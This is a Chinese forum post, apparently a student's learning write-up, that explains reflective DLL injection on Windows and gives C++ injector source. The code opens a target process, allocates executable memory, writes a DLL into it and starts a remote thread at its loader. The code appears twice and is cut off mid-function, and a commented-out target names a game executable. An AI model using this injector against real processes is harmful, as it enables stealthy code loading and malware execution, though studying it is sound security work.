-
-
[原创]学习PE文件后的第一次实践项目之DLL反射型注入
-
发表于: 4小时前 149
-
本篇文章为新生小白学习PE文件之后进行练习所写,肯定会有很多不足之处,欢迎大师傅们点出
先看普通型的注入,如下:
普通的dll注入是在目标进程中开辟一处空间,在空间中写入dll文件的名称,再用LoadLibraryA
函数通过查找名称来加载dll,而想在程序里调用LoadLibraryA
的话就得用到CreateRemoteThread
函数,这个函数传递的参数之一就有函数指针,等到CreateRemoteThread
创建新线程之后,就会在新线程中调用这个过度函数,其二的参数就是传给指针的参数
这里插一句,在我多次用x64dbg调试得到的感悟,CreateRemoteThread
这个函数,相当于开辟了一个不知道在哪的空间,在这个地方引用你要传入的函数
反射型dll注入则是将整个DLL文件传到目标进程的空间中,然后通过CreateRemoteThread
调用一段shellcode,将DLL展开,并运行
首先查找目标进程的Id,函数的实现不多说了
然后就是注入的程序,思路是先开辟空间,写入DLL文件,然后找到shellcode,最后用CreatERemoteThread函数进入目标进程中
接下来是写入DLL,这里我选择,先在本地读取磁盘文件,然后通过WriteProcessMemory实现远程写入
这里是对本地文件的读取,并且这里的pBuf指向的是本地文件读取以后的基地址
这里做到的便是写入dll但是注意,写入的也是磁盘文件,因为后续要实现对dll文件的展开,映射成内存文件
那就需要两个空间,一个空间是注入原封不动的磁盘文件,另一个是展开需要的空间,但是CreateRemoteThread只可以传入一个参数,那么就不考虑两个空间两个指针了,(其实也可以传入存放给内存空间开辟的地址指针,然后再shellcode里面向回遍历,直到检测到“5D 4A”PE文件头,就获取了磁盘文件的空间指针),一个指针的话,开辟空间的时候就开辟两个ImageSize的空间,然后pDll+ImageSize就是第二个指针了
注意这里获取的是文件偏移地址,因为此时的dll还没有展开(当然你也可以选择,所有的东西现在本地展开一次,然后写入展开后的程序,这样子就可以正常使用函数RVA,后续只需要修复重定位和导入函数了),所以找的不是RVA,而是文件偏移
这个函数的实现,是通过查找dll文件中的导出函数,遍历所有导出函数找到目标函数的RVA,然后需要对RVA转换为文件偏移地址,不过要注意,在文件没有展开之前导出表,以及导出表里的信息都是RVA,需要转换为文件偏移地址,那么写一个RVA-文件偏移就非常方便了
这个的实现是,先查找处于哪个节区,然后通过节区表的首地址经过RVA-虚拟首地址+节区初始地址的真实地址
然后就用CreateRemoteThread创造新线程,然后就可以插入shellcode了
我将一个文件的展开过程分为两部分,一部分是映射文件头和节区段,另一部分是修复重定位表和导入表
这部分相对简单,而且这个部分在里面和外面都可以实现,赋值文件头,然后根据节区头里面的文件偏移和虚拟地址偏移来映射就好
注意这里结束以后,节区表就修复完成了,所以可以使用自己封装的函数了
根据数据目录表定位重定位表,再根据重定位表结构来进行修复
导入表的修复是比较困难的,再导入表修复前是不可以使用API的,但是在修复导入表这个过程中,不可避免的要用到LoadLibraryA与GetProcAddress,所以就需要一个新东西先找到这两个函数
这里我没有过多的去了解,仅仅知道TEB是线程环境块,其中存储着PEB的指针,PEB是一个进程环境块,其中有一个叫PEB.Ldr的结构体,里面存储着已经加载的DLL文件指针
也就是说可以通过查找PEB.Ldr来找到kernel32.dll模块的句柄,然后找到其中的API,PEB.Ldr的结构如下
理论可行,实践开始
直到这一步是在定位到载入的模块的句柄,后续需要的是遍历载入的模块
从模块基地址中提取模块句柄,然后分析PE文件导出表获取函数名,对比获得函数在当前进程中的地址
通过LoadLibrarA和GetProcAddress函数修复导入表
结束
没啥区别,先扩展到节区表,再用函数,再创建线程,这样做的好处就是不需要再算文件偏移,并且开辟空间的时候更小
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf);
DWORD
ProcesstoPid(
wchar_t
* Processname);
BOOL
WINAPI MainInject(
DWORD
dwTargetPid,
char
* Dllname);
int
main() {
//先定义需要注入的dll与目标进程的名字
//wchar_t szProcName[MAX_PATH] = L"cs2.exe";
wchar_t
szProcName[MAX_PATH] = L
"pta.exe"
;
char
Dllname[MAX_PATH] =
"D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll"
;
//查找获得目标进程的id
DWORD
dwPid = ProcesstoPid(szProcName);
//写入dll文件,这里思考一下,传入的参数都是什么呢?
//因为在这个函数里,我们要做的是将dll文件写入,并且用其中的函数
//dll中的API将会作为参数出现,所以传入的是进程id和dll函数目录
DWORD
result = MainInject(dwPid, Dllname);
}
DWORD
ProcesstoPid(
wchar_t
* Processname)
//查找指定进程的PID(Process ID)
{
HANDLE
hProcessSnap = NULL;
DWORD
ProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//打开进程快照
if
(hProcessSnap == (
HANDLE
)-1)
{
printf
(
"\n[-] CreateToolhelp32Snapshot() Error: %d"
, GetLastError());
return
0;
}
pe32.dwSize =
sizeof
(PROCESSENTRY32);
if
(Process32First(hProcessSnap, &pe32))
//开始枚举进程
{
do
{
if
(!wcscmp(Processname, pe32.szExeFile))
//判断是否和提供的进程名相等,是,返回进程的ID
{
ProcessId = pe32.th32ProcessID;
break
;
}
}
while
(Process32Next(hProcessSnap, &pe32));
//继续枚举进程
}
else
{
printf
(
"\n[-] Process32First() Error: %d"
, GetLastError());
return
0;
}
if
(!ProcessId)
printf
(
"no find"
);
else
printf
(
"[+] target id is %d"
, ProcessId);
CloseHandle(hProcessSnap);
//关闭系统进程快照的句柄
return
ProcessId;
}
//用于转换RVA->文件偏移地址
//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
// 遍历节区表
for
(
int
i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
// 检查RVA是否在当前节区的范围内
if
(rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
// 转换RVA到文件偏移地址
return
pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
}
}
// 如果未找到对应的节区,返回无效值
return
0xFFFFFFFF;
}
//该函数通过分析PE文件头来尝试获取句柄
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf) {
//这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf
//定位一些相关文件头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNtHeaders +
sizeof
(IMAGE_NT_HEADERS));
//获取导出表地址及大小,注意这里是RVA
DWORD
exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
DWORD
exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
//定位导出表
//这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换
DWORD
exportDirFileOffset = RVAtoFileOffset((
DWORD
)exportDirRVA, pNtHeaders, pSec);
//转换之后RVA就变成了文件偏移,然后再定位
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)pBuf + exportDirFileOffset);
//解析导出表,这里同理都是RVA
DWORD
pRNames = pExportDir->AddressOfNames;
DWORD
pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
DWORD
* pNames = (
DWORD
*)((
BYTE
*)pBuf + pFNames);
DWORD
pRFunctions = pExportDir->AddressOfFunctions;
DWORD
pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
DWORD
* pFunctions = (
DWORD
*)((
BYTE
*)pBuf + pFFunctions);
WORD
pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
WORD
pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
WORD
* pNameOrdinals = (
WORD
*)((
BYTE
*)pBuf + pFFunctions);
// 遍历查找目标函数
DWORD
funcRVA = 0;
for
(
DWORD
i = 0; i < pExportDir->NumberOfNames; i++) {
DWORD
functionNameRVA = pNames[i];
DWORD
functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
const
char
* pName = (
char
*)((
BYTE
*)pBuf + functionNameFileOffset);
if
(
strcmp
(pName, funcName) == 0) {
funcRVA = pFunctions[i];
break
;
}
}
if
(funcRVA == 0) {
printf
(
"\n[-] Function %s not found."
, funcName);
return
NULL;
}
DWORD
fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
DWORD
* pfileOffset = (
DWORD
*)((
BYTE
*)pBuf + fileOffset);
if
(fileOffset == 0) {
printf
(
"\n[-] Failed to convert RVA to file offset."
);
return
NULL;
}
LPVOID
remoteFuncAddr = (
LPBYTE
)pDll + fileOffset;
return
remoteFuncAddr;
}
BOOL
WINAPI MainInject(
DWORD
dwTargetPid,
char
* Dllname)
{
//与普通dll注入一样,首先要做的是获取句柄
HANDLE
hProc = NULL;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if
(!hProc)
{
printf
(
"\n[-] OpenProcess Failed."
);
DWORD
dwError = GetLastError();
printf
(
"\n[-] OpenProcess failed. Error code: %d\n"
, dwError);
return
FALSE;
}
//有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中
//ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间
HANDLE
hFile = CreateFileA(Dllname,
GENERIC_READ,
//读取权限
FILE_SHARE_READ | FILE_SHARE_WRITE,
//允许其他进程读取文件|允许其他进程写入文件
NULL,
//不需要特定的安全性
OPEN_EXISTING,
//不需要特定的安全性
FILE_ATTRIBUTE_NORMAL,
//如果文件存在,则打开文件。如果文件不存在,操作会失败
NULL
//普通文件,没有特殊属性。
);
if
(hFile == INVALID_HANDLE_VALUE) {
printf
(
"\n[-] CreateFileA failed."
);
return
FALSE;
}
DWORD
FileSize = GetFileSize(hFile, NULL);
LPDWORD
SizeToRead = 0;
//本地暂存
unsigned
char
* pBuf =
new
unsigned
char
[FileSize];
ZeroMemory(pBuf, FileSize);
int
result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);
//读取文件放在开辟的空间里,pBuf为空间句柄
if
(result == 0)
{
printf
(
"\n[-] 文件读取失败"
);
return
FALSE;
}
//对接下来开辟的空间进行计算大小
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNt +
sizeof
(IMAGE_NT_HEADERS));
DWORD
ImageSize = pNt->OptionalHeader.SizeOfImage;
//开辟目标进程中的"类磁盘"空间,大小为前文的FileSize
//这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)
//这里创建的时候一下子创两个
//刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想
ULONG_PTR
TotalSize = ImageSize + ImageSize;
printf
(
"\n[+] FileSize : %p"
, FileSize);
printf
(
"\n[+] ImageSize: %p"
, ImageSize);
printf
(
"\n[+] TotalSize: %p"
, TotalSize);
//这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小
LPVOID
pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(pDll == NULL) {
printf
(
"\n[-] 内存分配失败, 错误代码: %d"
, GetLastError());
return
FALSE;
}
// 清零目标进程内存
SIZE_T
sizeToZero = TotalSize;
// 需要清零的字节数
BYTE
* zeroBuffer = (
BYTE
*)
calloc
(sizeToZero, 1);
// 创建一个全零的缓冲区
if
(zeroBuffer == NULL) {
printf
(
"Failed to allocate zero buffer.\n"
);
return
-1;
}
// 写入全零到目标内存
if
(!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
DWORD
errorCode = GetLastError();
printf
(
"WriteProcessMemory failed with error code: %lu\n"
, errorCode);
}
// 释放缓冲区
free
(zeroBuffer);
//将dll文件写入进去
if
(!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
return
FALSE;
}
//接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload
//注意前文开辟的"类磁盘"空间中的pDll
// 假设 ReflectLoader 是目标函数名
const
char
* reflectFuncName =
"ReflectLoader"
;
// 获取 ReflectLoader 在目标进程内存中的地址
LPVOID
pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if
(!pReflectLoader) {
printf
(
"[-] Failed to find ReflectLoader.\n"
);
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
LPVOID
pAlloc = (
LPVOID
)((
ULONG_PTR
)pDll + ImageSize);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
ULONG_PTR
)pAlloc + pDos->e_lfanew +
sizeof
(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((
ULONG_PTR
)pDll + pDos->e_lfanew +
sizeof
(IMAGE_NT_HEADERS));
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
printf
(
"\n[+] Dll磁盘起始地址:%p"
, pDll);
printf
(
"\n[+] Dll磁盘终止地址:%p"
, (
ULONG_PTR
)pDll + FileSize);
printf
(
"\n[+] Dll内存起始地址:%p"
, pAlloc);
printf
(
"\n[+] Dll整体结束地址:%p"
, (
ULONG_PTR
)pAlloc + ImageSize);
printf
(
"\n[+] 磁盘中Nt表头地址:%p"
, (
ULONG_PTR
)pDll + pDos->e_lfanew);
printf
(
"\n[+] 内存中Nt表头地址:%p"
, (
ULONG_PTR
)pAlloc + pDos->e_lfanew);
printf
(
"\n[+] 磁盘中Sec表头地址:%p"
, pSect);
printf
(
"\n[+] 内存中Sec表头地址:%p"
, pSec);
printf
(
"\n[+] 重定位表基址:%p"
, pBaseReloc);
printf
(
"\n[+] 重定位表RVA:%p"
, (
ULONG_PTR
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress);
DWORD
Relco = RVAtoFileOffset((
DWORD
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection);
printf
(
"\n[+] 重定位表文件偏移:%p"
, (
ULONG_PTR
)pDll + Relco);
//DWORD SecNum = pNt->FileHeader.NumberOfSections;
//for (int i = 0; i < SecNum; i++) {
// if (pSection->SizeOfRawData == 0 || pSection->PointerToRawData == 0) {
// pSection++;
// continue;
// }
// char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSection->PointerToRawData));
// char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSection->PointerToRawData));
// printf("\n[+] 磁盘中第%d个节区表对应文件地址:%p",i, chSrcMem);
// printf("\n[+] 内存中第%d个节区表对应文件地址:%p",i, chDestMem);
// pSection++;
//}
printf
(
"\n[+] 函数 address:%p"
, pReflectLoader);
// 调用 ReflectLoader 函数
HANDLE
hThread = CreateRemoteThread(
hProc,
// 目标进程句柄
NULL,
// 默认安全属性
0,
// 默认堆栈大小
(LPTHREAD_START_ROUTINE)pReflectLoader,
// ReflectLoader 地址
pDll,
// 参数:DLL 的基址
0,
// 默认创建标志
NULL
// 不需要线程 ID
);
if
(!hThread) {
printf
(
"\n[-] CreateRemoteThread failed: %d"
, GetLastError());
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
printf
(
"\n[+] ReflectLoader executed successfully."
);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return
TRUE;
}
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec);
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf);
DWORD
ProcesstoPid(
wchar_t
* Processname);
BOOL
WINAPI MainInject(
DWORD
dwTargetPid,
char
* Dllname);
int
main() {
//先定义需要注入的dll与目标进程的名字
//wchar_t szProcName[MAX_PATH] = L"cs2.exe";
wchar_t
szProcName[MAX_PATH] = L
"pta.exe"
;
char
Dllname[MAX_PATH] =
"D:\\study\\VStudio\\ReflectDll\\x64\\Debug\\DLLIN.dll"
;
//查找获得目标进程的id
DWORD
dwPid = ProcesstoPid(szProcName);
//写入dll文件,这里思考一下,传入的参数都是什么呢?
//因为在这个函数里,我们要做的是将dll文件写入,并且用其中的函数
//dll中的API将会作为参数出现,所以传入的是进程id和dll函数目录
DWORD
result = MainInject(dwPid, Dllname);
}
DWORD
ProcesstoPid(
wchar_t
* Processname)
//查找指定进程的PID(Process ID)
{
HANDLE
hProcessSnap = NULL;
DWORD
ProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//打开进程快照
if
(hProcessSnap == (
HANDLE
)-1)
{
printf
(
"\n[-] CreateToolhelp32Snapshot() Error: %d"
, GetLastError());
return
0;
}
pe32.dwSize =
sizeof
(PROCESSENTRY32);
if
(Process32First(hProcessSnap, &pe32))
//开始枚举进程
{
do
{
if
(!wcscmp(Processname, pe32.szExeFile))
//判断是否和提供的进程名相等,是,返回进程的ID
{
ProcessId = pe32.th32ProcessID;
break
;
}
}
while
(Process32Next(hProcessSnap, &pe32));
//继续枚举进程
}
else
{
printf
(
"\n[-] Process32First() Error: %d"
, GetLastError());
return
0;
}
if
(!ProcessId)
printf
(
"no find"
);
else
printf
(
"[+] target id is %d"
, ProcessId);
CloseHandle(hProcessSnap);
//关闭系统进程快照的句柄
return
ProcessId;
}
//用于转换RVA->文件偏移地址
//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置
DWORD
RVAtoFileOffset(
DWORD
rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) {
// 遍历节区表
for
(
int
i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
// 检查RVA是否在当前节区的范围内
if
(rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) {
// 转换RVA到文件偏移地址
return
pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress);
}
}
// 如果未找到对应的节区,返回无效值
return
0xFFFFFFFF;
}
//该函数通过分析PE文件头来尝试获取句柄
LPVOID
GetRemoteReflectLoad(
LPVOID
pDll,
const
char
* funcName, unsigned
char
* pBuf) {
//这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf
//定位一些相关文件头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDosHeader->e_lfanew);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNtHeaders +
sizeof
(IMAGE_NT_HEADERS));
//获取导出表地址及大小,注意这里是RVA
DWORD
exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress;
DWORD
exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size;
//定位导出表
//这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换
DWORD
exportDirFileOffset = RVAtoFileOffset((
DWORD
)exportDirRVA, pNtHeaders, pSec);
//转换之后RVA就变成了文件偏移,然后再定位
PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((
BYTE
*)pBuf + exportDirFileOffset);
//解析导出表,这里同理都是RVA
DWORD
pRNames = pExportDir->AddressOfNames;
DWORD
pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec);
DWORD
* pNames = (
DWORD
*)((
BYTE
*)pBuf + pFNames);
DWORD
pRFunctions = pExportDir->AddressOfFunctions;
DWORD
pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec);
DWORD
* pFunctions = (
DWORD
*)((
BYTE
*)pBuf + pFFunctions);
WORD
pRNameOrdinals = pExportDir->AddressOfNameOrdinals;
WORD
pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec);
WORD
* pNameOrdinals = (
WORD
*)((
BYTE
*)pBuf + pFFunctions);
// 遍历查找目标函数
DWORD
funcRVA = 0;
for
(
DWORD
i = 0; i < pExportDir->NumberOfNames; i++) {
DWORD
functionNameRVA = pNames[i];
DWORD
functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec);
const
char
* pName = (
char
*)((
BYTE
*)pBuf + functionNameFileOffset);
if
(
strcmp
(pName, funcName) == 0) {
funcRVA = pFunctions[i];
break
;
}
}
if
(funcRVA == 0) {
printf
(
"\n[-] Function %s not found."
, funcName);
return
NULL;
}
DWORD
fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);;
DWORD
* pfileOffset = (
DWORD
*)((
BYTE
*)pBuf + fileOffset);
if
(fileOffset == 0) {
printf
(
"\n[-] Failed to convert RVA to file offset."
);
return
NULL;
}
LPVOID
remoteFuncAddr = (
LPBYTE
)pDll + fileOffset;
return
remoteFuncAddr;
}
BOOL
WINAPI MainInject(
DWORD
dwTargetPid,
char
* Dllname)
{
//与普通dll注入一样,首先要做的是获取句柄
HANDLE
hProc = NULL;
hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);
if
(!hProc)
{
printf
(
"\n[-] OpenProcess Failed."
);
DWORD
dwError = GetLastError();
printf
(
"\n[-] OpenProcess failed. Error code: %d\n"
, dwError);
return
FALSE;
}
//有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中
//ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间
HANDLE
hFile = CreateFileA(Dllname,
GENERIC_READ,
//读取权限
FILE_SHARE_READ | FILE_SHARE_WRITE,
//允许其他进程读取文件|允许其他进程写入文件
NULL,
//不需要特定的安全性
OPEN_EXISTING,
//不需要特定的安全性
FILE_ATTRIBUTE_NORMAL,
//如果文件存在,则打开文件。如果文件不存在,操作会失败
NULL
//普通文件,没有特殊属性。
);
if
(hFile == INVALID_HANDLE_VALUE) {
printf
(
"\n[-] CreateFileA failed."
);
return
FALSE;
}
DWORD
FileSize = GetFileSize(hFile, NULL);
LPDWORD
SizeToRead = 0;
//本地暂存
unsigned
char
* pBuf =
new
unsigned
char
[FileSize];
ZeroMemory(pBuf, FileSize);
int
result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL);
//读取文件放在开辟的空间里,pBuf为空间句柄
if
(result == 0)
{
printf
(
"\n[-] 文件读取失败"
);
return
FALSE;
}
//对接下来开辟的空间进行计算大小
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((
BYTE
*)pBuf + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((
LPBYTE
)pNt +
sizeof
(IMAGE_NT_HEADERS));
DWORD
ImageSize = pNt->OptionalHeader.SizeOfImage;
//开辟目标进程中的"类磁盘"空间,大小为前文的FileSize
//这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)
//这里创建的时候一下子创两个
//刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想
ULONG_PTR
TotalSize = ImageSize + ImageSize;
printf
(
"\n[+] FileSize : %p"
, FileSize);
printf
(
"\n[+] ImageSize: %p"
, ImageSize);
printf
(
"\n[+] TotalSize: %p"
, TotalSize);
//这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小
LPVOID
pDll = VirtualAllocEx(hProc, NULL, TotalSize + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(pDll == NULL) {
printf
(
"\n[-] 内存分配失败, 错误代码: %d"
, GetLastError());
return
FALSE;
}
// 清零目标进程内存
SIZE_T
sizeToZero = TotalSize;
// 需要清零的字节数
BYTE
* zeroBuffer = (
BYTE
*)
calloc
(sizeToZero, 1);
// 创建一个全零的缓冲区
if
(zeroBuffer == NULL) {
printf
(
"Failed to allocate zero buffer.\n"
);
return
-1;
}
// 写入全零到目标内存
if
(!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) {
DWORD
errorCode = GetLastError();
printf
(
"WriteProcessMemory failed with error code: %lu\n"
, errorCode);
}
// 释放缓冲区
free
(zeroBuffer);
//将dll文件写入进去
if
(!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) {
return
FALSE;
}
//接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload
//注意前文开辟的"类磁盘"空间中的pDll
// 假设 ReflectLoader 是目标函数名
const
char
* reflectFuncName =
"ReflectLoader"
;
// 获取 ReflectLoader 在目标进程内存中的地址
LPVOID
pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);
if
(!pReflectLoader) {
printf
(
"[-] Failed to find ReflectLoader.\n"
);
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
LPVOID
pAlloc = (
LPVOID
)((
ULONG_PTR
)pDll + ImageSize);
PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((
ULONG_PTR
)pAlloc + pDos->e_lfanew +
sizeof
(IMAGE_NT_HEADERS));
PIMAGE_SECTION_HEADER pSect = (PIMAGE_SECTION_HEADER)((
ULONG_PTR
)pDll + pDos->e_lfanew +
sizeof
(IMAGE_NT_HEADERS));
PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((
ULONG_PTR
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress + (
ULONG_PTR
)pAlloc);
printf
(
"\n[+] Dll磁盘起始地址:%p"
, pDll);
printf
(
"\n[+] Dll磁盘终止地址:%p"
, (
ULONG_PTR
)pDll + FileSize);
printf
(
"\n[+] Dll内存起始地址:%p"
, pAlloc);
printf
(
"\n[+] Dll整体结束地址:%p"
, (
ULONG_PTR
)pAlloc + ImageSize);
printf
(
"\n[+] 磁盘中Nt表头地址:%p"
, (
ULONG_PTR
)pDll + pDos->e_lfanew);
printf
(
"\n[+] 内存中Nt表头地址:%p"
, (
ULONG_PTR
)pAlloc + pDos->e_lfanew);
printf
(
"\n[+] 磁盘中Sec表头地址:%p"
, pSect);
printf
(
"\n[+] 内存中Sec表头地址:%p"
, pSec);
printf
(
"\n[+] 重定位表基址:%p"
, pBaseReloc);
printf
(
"\n[+] 重定位表RVA:%p"
, (
ULONG_PTR
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress);
DWORD
Relco = RVAtoFileOffset((
DWORD
)pNt->OptionalHeader.DataDirectory[5].VirtualAddress, pNt, pSection);
printf
(
"\n[+] 重定位表文件偏移:%p"
, (
ULONG_PTR
)pDll + Relco);
//DWORD SecNum = pNt->FileHeader.NumberOfSections;
//for (int i = 0; i < SecNum; i++) {
// if (pSection->SizeOfRawData == 0 || pSection->PointerToRawData == 0) {
// pSection++;
// continue;
// }
// char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSection->PointerToRawData));
// char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSection->PointerToRawData));
// printf("\n[+] 磁盘中第%d个节区表对应文件地址:%p",i, chSrcMem);
// printf("\n[+] 内存中第%d个节区表对应文件地址:%p",i, chDestMem);
// pSection++;
//}
printf
(
"\n[+] 函数 address:%p"
, pReflectLoader);
// 调用 ReflectLoader 函数
HANDLE
hThread = CreateRemoteThread(
hProc,
// 目标进程句柄
NULL,
// 默认安全属性
0,
// 默认堆栈大小
(LPTHREAD_START_ROUTINE)pReflectLoader,
// ReflectLoader 地址
pDll,
// 参数:DLL 的基址
0,
// 默认创建标志
NULL
// 不需要线程 ID
);
if
(!hThread) {
printf
(
"\n[-] CreateRemoteThread failed: %d"
, GetLastError());
VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE);
return
FALSE;
}
printf
(
"\n[+] ReflectLoader executed successfully."
);
// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return
TRUE;
}
DWORD
ProcesstoPid(
wchar_t
* Processname)
//查找指定进程的PID(Process ID)
{
HANDLE
hProcessSnap = NULL;
DWORD
ProcessId = 0;
PROCESSENTRY32 pe32 = { 0 };
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//打开进程快照
if
(hProcessSnap == (
HANDLE
)-1)
{
printf
(
"\n[-] CreateToolhelp32Snapshot() Error: %d"
, GetLastError());
return
0;
}
pe32.dwSize =
sizeof
(PROCESSENTRY32);
if
(Process32First(hProcessSnap, &pe32))
//开始枚举进程
{
do
{
if
(!wcscmp(Processname, pe32.szExeFile))
//判断是否和提供的进程名相等,是,返回进程的ID
{
ProcessId = pe32.th32ProcessID;
break
;
}
}
while
(Process32Next(hProcessSnap, &pe32));
//继续枚举进程
}
else
{
printf
(
"\n[-] Process32First() Error: %d"
, GetLastError());
return
0;
